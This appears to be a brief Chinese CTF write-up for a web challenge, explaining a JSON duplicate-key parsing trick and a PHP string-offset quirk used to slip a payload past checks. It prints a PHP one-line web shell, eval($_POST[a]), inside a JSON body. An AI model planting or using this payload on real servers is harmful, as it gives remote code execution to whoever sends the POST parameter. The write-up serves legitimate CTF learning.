-
-
[原创] 第八题 牛刀小试 98k
-
2020-5-6 20:18
5407
-
第一种
json 遇到两个 key 一样的 entry 时, 只会取后面那个
{"data": "<?php eval($_POST[a]); ?>", "data": "asdasd"}
第二种
php 取字符串的 array index, 返回的是第一个字符
php > echo "asdsa"["aaa"];
PHP Warning: Illegal string offset 'aaa' in php shell code on line 1
PHP Stack trace:
PHP 1. {main}() php shell code:0
Warning: Illegal string offset 'aaa' in php shell code on line 1
Call Stack:
4.6909 400200 1. {main}() php shell code:0
a
payload:
"<?php eval($_POST[a]); ?>"
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》，视频+靶场+题目！助力进入CTF世界
